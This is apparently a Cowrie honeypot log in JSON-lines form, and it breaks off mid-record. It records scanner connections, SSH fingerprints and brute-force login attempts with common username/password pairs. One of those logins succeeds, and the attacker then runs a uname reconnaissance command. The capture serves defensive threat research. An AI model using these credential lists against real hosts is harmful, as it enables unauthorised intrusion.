{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52444,"dst_ip":"10.17.0.5","dst_port":23,"session":"13e0d760c274","protocol":"telnet","message":"New connection: 192.119.13.58:52444 (10.17.0.5:23) [session: 13e0d760c274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:43.442401Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:43.635572Z","src_ip":"45.153.34.112","session":"6c909725a99e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.08914256095886,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:45.468734Z","src_ip":"192.119.13.58","session":"c6e21ac63c79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":40354,"dst_ip":"10.17.0.5","dst_port":22,"session":"bde27e8da495","protocol":"ssh","message":"New connection: 45.153.34.112:40354 (10.17.0.5:22) [session: bde27e8da495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:45.920362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:45.925036Z","src_ip":"45.153.34.112","session":"bde27e8da495","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:46.009892Z","src_ip":"45.153.34.112","session":"bde27e8da495","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.175.218","src_port":44852,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b11ec9032a2","protocol":"ssh","message":"New connection: 43.134.175.218:44852 (10.17.0.5:22) [session: 4b11ec9032a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:46.048361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:46.053097Z","src_ip":"43.134.175.218","session":"4b11ec9032a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@123","message":"login attempt [root/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:46.261256Z","src_ip":"45.153.34.112","session":"bde27e8da495","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:46.291479Z","src_ip":"43.134.175.218","session":"4b11ec9032a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.66.52.41","src_port":24260,"dst_ip":"10.17.0.5","dst_port":22,"session":"404cb0b411da","protocol":"ssh","message":"New connection: 45.66.52.41:24260 (10.17.0.5:22) [session: 404cb0b411da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:46.860293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:46.864588Z","src_ip":"45.66.52.41","session":"404cb0b411da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:47.217639Z","src_ip":"45.66.52.41","session":"404cb0b411da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazmko0","message":"login attempt [root/1qazmko0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:47.275405Z","src_ip":"43.134.175.218","session":"4b11ec9032a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:47.347191Z","src_ip":"45.153.34.112","session":"bde27e8da495","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"d1g1t4l","message":"login attempt [root/d1g1t4l] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:47.953699Z","src_ip":"45.66.52.41","session":"404cb0b411da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:48.517353Z","src_ip":"43.134.175.218","session":"4b11ec9032a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:49.133247Z","src_ip":"45.66.52.41","session":"404cb0b411da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":33700,"dst_ip":"10.17.0.5","dst_port":22,"session":"a321292039c5","protocol":"ssh","message":"New connection: 45.153.34.112:33700 (10.17.0.5:22) [session: a321292039c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:49.573819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:49.578658Z","src_ip":"45.153.34.112","session":"a321292039c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:49.670376Z","src_ip":"45.153.34.112","session":"a321292039c5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:49.917373Z","src_ip":"45.153.34.112","session":"a321292039c5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:50.132722Z","src_ip":"45.153.34.112","session":"a321292039c5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:50.136438Z","src_ip":"45.153.34.112","session":"a321292039c5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:50.222236Z","src_ip":"45.153.34.112","session":"a321292039c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:50.227609Z","src_ip":"45.153.34.112","session":"a321292039c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.112.253","src_port":40894,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ec9fb57fd17","protocol":"ssh","message":"New connection: 43.153.112.253:40894 (10.17.0.5:22) [session: 7ec9fb57fd17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:50.831869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:50.836584Z","src_ip":"43.153.112.253","session":"7ec9fb57fd17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:50.903846Z","src_ip":"43.153.112.253","session":"7ec9fb57fd17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root2012","message":"login attempt [root/root2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:51.205988Z","src_ip":"43.153.112.253","session":"7ec9fb57fd17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":58504,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9b2b8fbfdac","protocol":"ssh","message":"New connection: 103.176.20.57:58504 (159.203.135.109:22) [session: b9b2b8fbfdac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:51.469530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:51.479058Z","src_ip":"103.176.20.57","session":"b9b2b8fbfdac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:51.730892Z","src_ip":"103.176.20.57","session":"b9b2b8fbfdac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:52.301685Z","src_ip":"43.153.112.253","session":"7ec9fb57fd17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stalin","message":"login attempt [root/stalin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:52.475947Z","src_ip":"103.176.20.57","session":"b9b2b8fbfdac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":33716,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a4940f92178","protocol":"ssh","message":"New connection: 45.153.34.112:33716 (10.17.0.5:22) [session: 2a4940f92178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:53.390834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:53.396466Z","src_ip":"45.153.34.112","session":"2a4940f92178","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:53.479586Z","src_ip":"45.153.34.112","session":"2a4940f92178","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AA123456","message":"login attempt [root/AA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:53.729424Z","src_ip":"45.153.34.112","session":"2a4940f92178","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:53.734988Z","src_ip":"103.176.20.57","session":"b9b2b8fbfdac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:54.814476Z","src_ip":"45.153.34.112","session":"2a4940f92178","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38556,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f5bd77bb442","protocol":"telnet","message":"New connection: 192.119.13.58:38556 (10.17.0.5:23) [session: 6f5bd77bb442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:55.664196Z"}
{"eventid":"cowrie.session.closed","duration":45.951860427856445,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:55.798720Z","src_ip":"192.119.13.58","session":"3f61c5f2ca16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":33734,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ffbcdcdde92","protocol":"ssh","message":"New connection: 45.153.34.112:33734 (10.17.0.5:22) [session: 8ffbcdcdde92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:56.870763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:56.877527Z","src_ip":"45.153.34.112","session":"8ffbcdcdde92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-